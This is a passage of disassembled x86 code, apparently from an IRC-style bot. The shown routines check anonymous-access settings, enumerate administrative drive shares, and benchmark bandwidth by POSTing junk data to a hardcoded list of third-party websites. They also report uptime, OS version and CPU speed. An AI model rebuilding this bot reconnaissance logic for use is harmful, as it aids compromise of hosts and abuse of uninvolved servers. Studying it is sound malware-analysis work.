		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_41A2C4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_41A2A6
		push	offset dword_439D64
		jmp	short loc_41A2AB
; ---------------------------------------------------------------------------


loc_41A2A6:				; CODE XREF: sub_41A19D+100j
		push	offset dword_439D2C


loc_41A2AB:				; CODE XREF: sub_41A19D+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_41A2DE
; ---------------------------------------------------------------------------


loc_41A2C4:				; CODE XREF: sub_41A19D+E2j
		push	offset dword_439CF0
		jmp	short loc_41A2D0
; ---------------------------------------------------------------------------


loc_41A2CB:				; CODE XREF: sub_41A19D+13j
		push	offset dword_439B08


loc_41A2D0:				; CODE XREF: sub_41A19D+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A2DE:				; CODE XREF: sub_41A19D+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A2FD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A2FD:				; CODE XREF: sub_41A19D+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB06C, ebx
		pop	ecx
		jnz	loc_41A472
		push	edi
		mov	esi, offset off_4399D0
		mov	edi, 200h


loc_41A321:				; CODE XREF: sub_41A19D+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_418BBF
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A33C
		push	offset dword_439CD0
		jmp	short loc_41A341
; ---------------------------------------------------------------------------


loc_41A33C:				; CODE XREF: sub_41A19D+196j
		push	offset dword_439CA8


loc_41A341:				; CODE XREF: sub_41A19D+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A370
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A370:				; CODE XREF: sub_41A19D+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_4399E0
		jb	short loc_41A321
		call	near ptr 2810000h
		nop
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A45A


loc_41A39B:				; CODE XREF: sub_41A19D+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A44F
		cmp	bl, 41h
		jz	loc_41A44F
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_0	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CAFD4
		cmp	eax, 3
		jnz	short loc_41A44F
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_418BBF
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A40D
		push	offset dword_439CD0
		jmp	short loc_41A412
; ---------------------------------------------------------------------------


loc_41A40D:				; CODE XREF: sub_41A19D+267j
		push	offset dword_439CA8


loc_41A412:				; CODE XREF: sub_41A19D+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A442
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A442:				; CODE XREF: sub_41A19D+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_41A44F:				; CODE XREF: sub_41A19D+206j
					; sub_41A19D+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A39B


loc_41A45A:				; CODE XREF: sub_41A19D+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_439C78
		push	eax
		call	sub_41B886
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A485
; ---------------------------------------------------------------------------


loc_41A472:				; CODE XREF: sub_41A19D+173j
		lea	eax, [ebp+var_220]
		push	offset dword_439A10
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A485:				; CODE XREF: sub_41A19D+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A4A3
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A4A3:				; CODE XREF: sub_41A19D+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A19D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4B7	proc near		; CODE XREF: sub_41A6AE+CBp
					; sub_41A6AE+DDp ...

arg_0		= dword	ptr  4

		nop
		call	near ptr 2680D12h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41A4B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4D1	proc near		; CODE XREF: sub_41A6AE+D4p
					; sub_41A6AE+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41A6AA
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41B590
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40AAF9
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41A6AA
		push	50h
		call	dword_4CAF74
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41A6AA
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A6AA
		push	32003h
		call	sub_41CFC5
		mov	edi, dword_4270A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41B8D8
		call	sub_41B8E2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41B590
		push	32000h
		push	esi
		push	ebx
		call	sub_41B590
		push	ebx
		call	sub_41AFE0
		push	323EAh
		mov	ebx, eax
		call	sub_41CFC5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41B886
		push	[ebp+var_8]
		push	esi
		call	sub_41BEC0
		push	offset asc_43381C ; "\r\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_41AFE0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41A62A
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41A5FA
; ---------------------------------------------------------------------------


loc_41A5F7:				; CODE XREF: sub_41A4D1+157j
		mov	eax, [ebp+arg_0]


loc_41A5FA:				; CODE XREF: sub_41A4D1+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41A60A
		push	[ebp+var_C]
		jmp	short loc_41A60B
; ---------------------------------------------------------------------------


loc_41A60A:				; CODE XREF: sub_41A4D1+132j
		push	ebx


loc_41A60B:				; CODE XREF: sub_41A4D1+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A691
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41A5F7


loc_41A62A:				; CODE XREF: sub_41A4D1+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_427714
		fst	[ebp+arg_0]
		fcomp	flt_427710
		fnstsw	ax
		sahf
		jnz	short loc_41A652
		fld1
		fstp	[ebp+arg_0]


loc_41A652:				; CODE XREF: sub_41A4D1+17Aj
		push	[ebp+var_4]
		call	dword_4CB00C
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_42770C
		fmul	flt_427708
		call	sub_41C798


loc_41A68C:				; CODE XREF: sub_41A4D1+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A691:				; CODE XREF: sub_41A4D1+149j
		push	[ebp+var_4]
		call	dword_4CB00C
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx


loc_41A6AA:				; CODE XREF: sub_41A4D1+19j
					; sub_41A4D1+42j ...
		xor	eax, eax
		jmp	short loc_41A68C
sub_41A4D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6AE	proc near		; CODE XREF: sub_401ACD+2E61p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		push	8
		mov	esi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		add	esp, 10h
		test	esi, esi
		jz	short loc_41A7AF
		test	eax, eax
		jz	short loc_41A7AB
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------


loc_41A7AB:				; CODE XREF: sub_41A6AE+F4j
		mov	ebx, esi
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------


loc_41A7AF:				; CODE XREF: sub_41A6AE+F0j
		mov	ebx, eax


loc_41A7B1:				; CODE XREF: sub_41A6AE+FBj
					; sub_41A6AE+FFj
		push	0Ch
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		push	0Ch
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A7E9
		test	eax, eax
		jz	short loc_41A7E5
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------


loc_41A7E5:				; CODE XREF: sub_41A6AE+12Ej
		mov	esi, edi
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------


loc_41A7E9:				; CODE XREF: sub_41A6AE+12Aj
		mov	esi, eax


loc_41A7EB:				; CODE XREF: sub_41A6AE+135j
					; sub_41A6AE+139j
		push	6
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		push	6
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A823
		test	eax, eax
		jz	short loc_41A81F
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41A825
; ---------------------------------------------------------------------------


loc_41A81F:				; CODE XREF: sub_41A6AE+168j
		mov	ecx, edi
		jmp	short loc_41A825
; ---------------------------------------------------------------------------


loc_41A823:				; CODE XREF: sub_41A6AE+164j
		mov	ecx, eax


loc_41A825:				; CODE XREF: sub_41A6AE+16Fj
					; sub_41A6AE+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41A832
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41A835
; ---------------------------------------------------------------------------


loc_41A832:				; CODE XREF: sub_41A6AE+17Bj
		push	2
		pop	edi


loc_41A835:				; CODE XREF: sub_41A6AE+182j
		test	esi, esi
		jz	short loc_41A83D
		add	eax, esi
		jmp	short loc_41A83E
; ---------------------------------------------------------------------------


loc_41A83D:				; CODE XREF: sub_41A6AE+189j
		dec	edi


loc_41A83E:				; CODE XREF: sub_41A6AE+18Dj
		test	ecx, ecx
		jz	short loc_41A846
		add	eax, ecx
		jmp	short loc_41A847
; ---------------------------------------------------------------------------


loc_41A846:				; CODE XREF: sub_41A6AE+192j
		dec	edi


loc_41A847:				; CODE XREF: sub_41A6AE+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_439E18
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A88B	proc near		; CODE XREF: sub_401ACD+25A0p
					; sub_401ACD+2A10p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		nop
		call	near ptr 2680D12h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DB240
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A88B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8F4	proc near		; CODE XREF: sub_416F1A+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 26C055Ah
		test	eax, eax
		jz	short loc_41A987
		cmp	[ebp+var_90], 4
		jnz	short loc_41A95D
		cmp	[ebp+var_8C], esi
		jnz	short loc_41A945
		cmp	[ebp+var_84], 1
		jnz	short loc_41A938
		push	1
		pop	esi


loc_41A938:				; CODE XREF: sub_41A8F4+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41A987
		push	1
		jmp	short loc_41A986
; ---------------------------------------------------------------------------


loc_41A945:				; CODE XREF: sub_41A8F4+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41A952


loc_41A94E:				; CODE XREF: sub_41A8F4+78j
		push	2
		jmp	short loc_41A986
; ---------------------------------------------------------------------------


loc_41A952:				; CODE XREF: sub_41A8F4+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41A987
		jmp	short loc_41A977
; ---------------------------------------------------------------------------


loc_41A95D:				; CODE XREF: sub_41A8F4+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41A987
		cmp	[ebp+var_8C], esi
		jz	short loc_41A94E
		cmp	[ebp+var_8C], 1
		jnz	short loc_41A97B


loc_41A977:				; CODE XREF: sub_41A8F4+67j
		push	3
		jmp	short loc_41A986
; ---------------------------------------------------------------------------


loc_41A97B:				; CODE XREF: sub_41A8F4+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41A987
		push	7


loc_41A986:				; CODE XREF: sub_41A8F4+4Fj
					; sub_41A8F4+5Cj ...
		pop	esi


loc_41A987:				; CODE XREF: sub_41A8F4+25j
					; sub_41A8F4+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A8F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A98C	proc near		; CODE XREF: sub_41AA42+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_41A994:				; CODE XREF: sub_41A98C+2Fj
					; sub_41A98C+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 26705B3h
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41D410
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41A994
		jb	short loc_41A9C3
		cmp	ebx, esi
		ja	short loc_41A994


loc_41A9C3:				; CODE XREF: sub_41A98C+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41D480
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AA36
		jb	short loc_41A9E2
		cmp	esi, 50h
		jnb	short loc_41A9E7


loc_41A9E2:				; CODE XREF: sub_41A98C+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41A9E7:				; CODE XREF: sub_41A98C+54j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41A9F2
		cmp	esi, 47h
		jnb	short loc_41A9F7


loc_41A9F2:				; CODE XREF: sub_41A98C+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41A9F7:				; CODE XREF: sub_41A98C+64j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA02
		cmp	esi, 37h
		jnb	short loc_41AA07


loc_41AA02:				; CODE XREF: sub_41A98C+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AA07:				; CODE XREF: sub_41A98C+74j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA12
		cmp	esi, 26h
		jnb	short loc_41AA17


loc_41AA12:				; CODE XREF: sub_41A98C+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AA17:				; CODE XREF: sub_41A98C+84j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA22
		cmp	esi, 1Eh
		jnb	short loc_41AA27


loc_41AA22:				; CODE XREF: sub_41A98C+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AA27:				; CODE XREF: sub_41A98C+94j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA32
		cmp	esi, 0Ah
		jnb	short loc_41AA36


loc_41AA32:				; CODE XREF: sub_41A98C+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AA36:				; CODE XREF: sub_41A98C+4Dj
					; sub_41A98C+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A98C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA42	proc near		; CODE XREF: sub_401ACD+276Ep

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset dword_43D128
		mov	[ebp+var_CC], 94h
		call	near ptr 26C055Ah
		nop
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41AAC9
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAA5
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AA8F
		mov	[ebp+var_4], offset dword_43127C


loc_41AA8F:				; CODE XREF: sub_41AA42+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41AB44
		mov	[ebp+var_4], offset dword_431278
		jmp	short loc_41AB15
; ---------------------------------------------------------------------------


loc_41AAA5:				; CODE XREF: sub_41AA42+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41AAB7
		mov	[ebp+var_4], offset dword_431274
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAB7:				; CODE XREF: sub_41AA42+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41AB05
		mov	[ebp+var_4], offset dword_431270
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAC9:				; CODE XREF: sub_41AA42+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41AB05
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAE3
		mov	[ebp+var_4], offset dword_43126C
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAE3:				; CODE XREF: sub_41AA42+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41AAF5
		mov	[ebp+var_4], offset dword_431268
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAF5:				; CODE XREF: sub_41AA42+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41AB0C


loc_41AB05:				; CODE XREF: sub_41AA42+7Cj
					; sub_41AA42+8Ej
		mov	[ebp+var_4], offset dword_431260


loc_41AB0C:				; CODE XREF: sub_41AA42+73j
					; sub_41AA42+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41AB44


loc_41AB15:				; CODE XREF: sub_41AA42+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41AB44
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_1	; "%s (%s)"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41AB44:				; CODE XREF: sub_41AA42+54j
					; sub_41AA42+D1j ...
		mov	ax, word_437834
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CAE54
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41AB7D
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_41AB7D:				; CODE XREF: sub_41AA42+12Cj
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CAFB4
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CAF2C
		cmp	eax, ebx
		jz	short loc_41ABA6
		push	dword ptr [eax]
		jmp	short loc_41ABAB
; ---------------------------------------------------------------------------


loc_41ABA6:				; CODE XREF: sub_41AA42+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41ABAB:				; CODE XREF: sub_41AA42+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 2670000h
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43A10C
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	near ptr 2720000h
		nop
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 271158Ah
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2820000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41B9D1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41A88B
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
